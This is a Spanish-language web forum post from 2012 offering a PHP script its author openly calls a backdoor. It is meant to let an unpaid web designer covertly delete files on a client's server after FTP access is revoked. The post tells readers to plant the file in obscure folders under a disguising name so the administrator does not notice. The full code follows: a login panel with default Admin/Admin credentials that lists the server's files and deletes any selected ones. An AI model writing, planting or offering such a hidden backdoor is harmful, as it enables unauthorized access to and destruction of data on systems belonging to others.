Ver Mensaje Individual
  #1 (permalink)  
Antiguo 14/11/2012, 09:49
Avatar de NSD
NSD
Colaborador
 
Fecha de Ingreso: mayo-2012
Ubicación: Somewhere
Mensajes: 1.332
Antigüedad: 11 años, 11 meses
Puntos: 320
Aporte: Script para controlar tu sitio sin ftp

Buenas gente del foro, me han consultado recientemente sobre un caso particular, que pasa si, por ejemplo, le diseñamos la estetica a una web la subimos por ftp para que la usen los desarrolladores que nos contratan y estos no nos pagan, es mas, eliminan nuestra cuenta ftp.

Nos estarian estafando, claro esta. y que podemos hacer? como borrar nuestros archivos del server si no tenemos acceso al ftp? las herramientas de hacking son casi inutiles ante los ultimos protocolos de seguridad de los server y ademas no apoyo esta alternativa.

El scrip que aporto a continuacion es un backdoor.
Como veran en el codigo no es un virus, ni un hack, ni nada de eso, por lo que no creo estar rompiendo ninguna norma del foro al publicarlo, (ademas de que es escrito por mi)

Este script debe ser subido al server a una carpeta donde dificilmente sea rastreado, por ejemplo:

Public-Html/Sistema/Archivos/Postales/Formularios/Plugins/Validadores/Worpress/Articles/......

es decir a una carpeta que el administrador no valla a mirar con frecuencia, preferiblemente que tenga muchos archivos php, y le ponemos un nombre tipo form_validator.php u otro que se camufle entre los ya existentes.

de esta manera si no recibimos lo que pedimos a cambio por nuestro trabajo podremos eliminar del server nuestros archivos sin ser notados por el admin (o por lo menos esa es la idea).

tambien puede usarse este script para montar un panel de control (originalmente eso era con algunas funciones que quite porque para esto es innesesario)

Codigo:

Código PHP:
Ver original
  1. <?php
  2. //Configuracion:
  3. $DAT[USR] = 'Admin'; //Usuario
  4. $DAT[CLV] = 'Admin'; //Clave
  5. $DAT[TRO] = 'Backdoor.php'; //Nombre de este archivo
  6. $DAT[RUT] = './'; //Ruta relativa al archivo del directorio padre que sequiere controlar
  7.  
  8.  
  9. //Desloguearse.
  10. If ($_GET['EXT']=='1') {
  11.     Unset($_SESSION['Clave']);
  12. }
  13.  
  14. //Cabeza de la pagina.
  15. Echo <<<HTML
  16.             <Html>
  17.                 <Head>
  18.                     <Meta Charset="Utf-8" />
  19.                     <Title>Panel de Control</Title>
  20.                     <Style>
  21.                         body{
  22.                             background-image:-webkit-linear-gradient(top,#F9F9F9,#E9E9E9);
  23.                         }
  24.                         #Contenido , #Botonera , #Log {
  25.                             width:900px;
  26.                             border:3px double #666;
  27.                             padding:10px;
  28.                             color:#222;
  29.                             font-family:arial;
  30.                             font-size:12px;
  31.                             font-variant:small-caps;
  32.                             font-weight:bold;
  33.                             margin:10px auto;
  34.                             box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,rgba(255,255,255,0.701961) 0 0 1px inset;
  35.                             background-image:-webkit-gradient(linear,0 0%,0 100%,from(#0E4168),color-stop(0.1,#236BA3),color-stop(0.5,#236BA3),color-stop(0.9,#236BA3),to(#0E4168));
  36.                             min-height:40px;
  37.                             border-radius:5px;
  38.                             text-align:center;
  39.                         }
  40.                         form td , form table {
  41.                             border:1px solid #666;
  42.                             padding:10px;
  43.                             color:#222;
  44.                             font-family:arial;
  45.                             font-size:15px;
  46.                             font-variant:small-caps;
  47.                             font-weight:bold;
  48.                             margin:10px auto;
  49.                             box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,rgba(255,255,255,0.701961) 0 0 1px inset;
  50.                             background-image:-webkit-linear-gradient(top,#FEFEFE,#EDEDED);
  51.                             border-radius:3px
  52.                         }
  53.                         form table{
  54.                             width:875px;
  55.                             margin:5px auto;
  56.                             border-radius:6px
  57.                         }
  58.                         th {
  59.                             border:1px solid #666;
  60.                             padding:10px;
  61.                             color:#EEE;
  62.                             font-family:arial;
  63.                             font-size:20px;
  64.                             font-variant:small-caps;
  65.                             font-weight:bold;
  66.                             margin:10px auto;
  67.                             box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,rgba(255,255,255,0.701961) 0 0 1px inset;
  68.                             background-image:-webkit-linear-gradient(top,#555,#111);
  69.                             border-radius:3px;
  70.                             Text-Align:Center;
  71.                         }
  72.                         .Directorio{
  73.                             background-image:-webkit-linear-gradient(top,#CCC,#AAA);
  74.                             Text-Align:Center;
  75.                         }
  76.                         input[type=button] , input[type=submit] , .Button {
  77.                             background-image:-webkit-gradient(linear,0 0%,0 100%,from(#FFF),color-stop(0.25,#EBEBEB),color-stop(0.5,#DBDBDB),to(#B5B5B5));
  78.                             border:1px solid #949494;
  79.                             border-bottom-left-radius:3px;
  80.                             border-bottom-right-radius:3px;
  81.                             border-top-left-radius:3px;
  82.                             border-top-right-radius:3px;
  83.                             box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,#FFF 0 0 2px inset;
  84.                             color:#333;
  85.                             font-family:Arial;
  86.                             font-size:14px;
  87.                             font-weight:bold;
  88.                             margin:5px;
  89.                             padding:5px 20px;
  90.                             text-shadow:rgba(0,0,0,0.2) 0 -1px 0px,#FFF 0 1px 0;
  91.                             font-variant:small-caps;
  92.                         }
  93.                         input[type=button]:hover , input[type=submit]:hover , .button:hover {
  94.                             box-shadow:#000 0 0 10px;
  95.                             color:#000;
  96.                             cursor:pointer;
  97.                             font-weight:bold
  98.                         }
  99.                         input[type=button]:active , input[type=submit]:active , .button:active{
  100.                             box-shadow:#EFEFEF 0 0 10px
  101.                         }
  102.                         #Error{
  103.                             background-image:-webkit-gradient(linear,0 0%,0 100%,from(#EA5347),to(#D66124));
  104.                             border:1px solid #959595;
  105.                             border-bottom-left-radius:3px;
  106.                             border-bottom-right-radius:3px;
  107.                             border-top-left-radius:3px;
  108.                             border-top-right-radius:3px;
  109.                             box-shadow:#000 0 0 8px;
  110.                             color:#222;
  111.                             font-size:14px;
  112.                             font-variant:small-caps;
  113.                             margin:30px auto;
  114.                             min-height:50px;
  115.                             padding:25px 0 0 0;
  116.                             text-align:center;
  117.                             text-shadow:#959595 0 1px 0;
  118.                             width:300px;
  119.                         }
  120.                     </Style>
  121.                 </Head>
  122.                 <Body>
  123. HTML;
  124.  
  125. //Verificar autenticidad.
  126. If ($_SESSION[Clave] != '4Quydp6aqqUbQDv2') {
  127.     //Verificar usuario y clave.
  128.     If( ($_POST[USR] != $DAT[USR]) Or ($_POST[CLV] != $DAT[CLV]) ){
  129.         //Formulario de logueo.
  130.         Echo <<<HTML
  131.             <Div Id="Botonera">
  132.                 <Div Id="Error">Error. Debes ser usuario autorizado.</Div>
  133.             </Div>
  134.             <Div Id="Contenido">
  135.                 <Form Id="Formulario" Action="$DAT[TRO]" Method="post">
  136.                     <Table>
  137.                         <Tr>
  138.                             <Td> Usuario: </Td> <Td> <Input Type="Text" Name="USR" Id="USR" Size="30" /> </Td>
  139.                         </Tr
  140.                         <Tr>
  141.                             <Td> Clave: </Td> <Td> <Input Type="Password" Name="CLV" Id="CLV" Size="30" /> </Td>
  142.                         </Tr>
  143.                         <Tr>
  144.                             <Td Colspan="2"> <Input Type="Submit" Value="Entrar!" Style="Float:Right"/> </Td>
  145.                         </Tr>
  146.                     </Table>
  147.                 </Form>
  148.             </Div>
  149. HTML;
  150.     } Else {
  151.         //Logueo correcto, habilitar acceso.
  152.         $_SESSION[Clave] = '4Quydp6aqqUbQDv2';
  153.         //Si tu server lo permite puedes reemplazar este echo por un: Header("Location: $DAT[TRO]");
  154.         Echo <<<HTML
  155.                     <Div Id="Botonera">
  156.                         <A Href="$DAT[TRO]" Class="Button">Acceder!</A>
  157.                     </Div>
  158. HTML;
  159.     }
  160. } Else {
  161.     //Estas habilitado.
  162.     Echo <<<HTML
  163.             <Form Id="Formulario" Action="$DAT[TRO]" Method="post">
  164.                 <Div Id="Botonera">
  165.                     <Input Type="Submit" Value="Eliminar Seleccionados" Style="Float:Left" />
  166.                     <A Href="$DAT[TRO]?EXT=1" Class="Button" Style="Float:Right" >Cerrar & Salir.</A>
  167.                 </Div>
  168.                 <Div Id="Log">
  169. HTML;
  170.     //Si tengo que eliminar elimino.
  171.     If (Isset($_POST[Datos])) {
  172.         ForEach ($_POST[Datos] As $ARCH) {
  173.             If (!Unlink($ARCH)) {
  174.                 Echo ("Error borrando: $ARCH<Br />");
  175.             } Else {
  176.                 Echo ("Archivo borrado: $ARCH<Br />");
  177.             }
  178.         }
  179.     }
  180.     Echo <<<HTML
  181.                 </Div>
  182.                 <Div Id="Contenido">
  183.                         <Table>
  184.                             <Tr>
  185.                                 <Th> Selec. </Th> <Th> Ruta </Th> <Th> Archivo </Th>
  186.                             </Tr>
  187. HTML;
  188.     //Funcion recursiva que los muestra.
  189.     Function ListarArchivos($RUT){
  190.         $I=0;
  191.         If (Is_Dir($RUT)) {
  192.             If ($DIR = Opendir($RUT)) {
  193.                 While (($ARCH = ReadDir($DIR)) != False) {
  194.                     If ( (Is_Dir($RUT.$ARCH)) And ($ARCH != ".") And ($ARCH != "..") ){
  195.                         Echo '<Tr><Td Colspan="4" Class="Directorio" >'.$ARCH.'</Td>';
  196.                         ListarArchivos($RUT.$ARCH.'/');
  197.                     }
  198.                     If ( (!Is_Dir($RUT.$ARCH)) And ($ARCH != ".") And ($ARCH != "..") ){
  199.                         Echo '<Tr><Td><Input Type="Checkbox" Name="Datos[]" Value="'.$RUT.$ARCH.'"/></Td><Td>'.$RUT.'</Td><Td>'.$ARCH.'</Td>';
  200.                     }
  201.                 }
  202.                 Closedir($DIR);
  203.             }
  204.         }Else {
  205.             Echo "<Br />No es ruta valida";
  206.         }
  207.     }
  208.     //Muestro archivos a partir de esta ruta.
  209.     ListarArchivos($DAT[RUT]);
  210.     Echo <<<HTML
  211.                     </Table>
  212.                 </Div>
  213. HTML;
  214.  
  215.     Echo <<<HTML
  216.             </Form>
  217. HTML;
  218. }
  219. //Fin de la pagina.
  220. Echo <<<HTML
  221.                 </Body>
  222.             </Html>
  223. HTML;
  224. ?>

para que ande hay que asegurarse que despues de HTML; no halla espacios ni nada.

espero le sea util a alguien, y si no les sirve como medida de seguridad de su trabajo, tal vez le sirva para montar un panel de control propio o algo asi.

saludos
__________________
Maratón de desafíos PHP Junio - Agosto 2015 en FDW | Reglamento - Desafios

Última edición por NSD; 01/09/2014 a las 12:52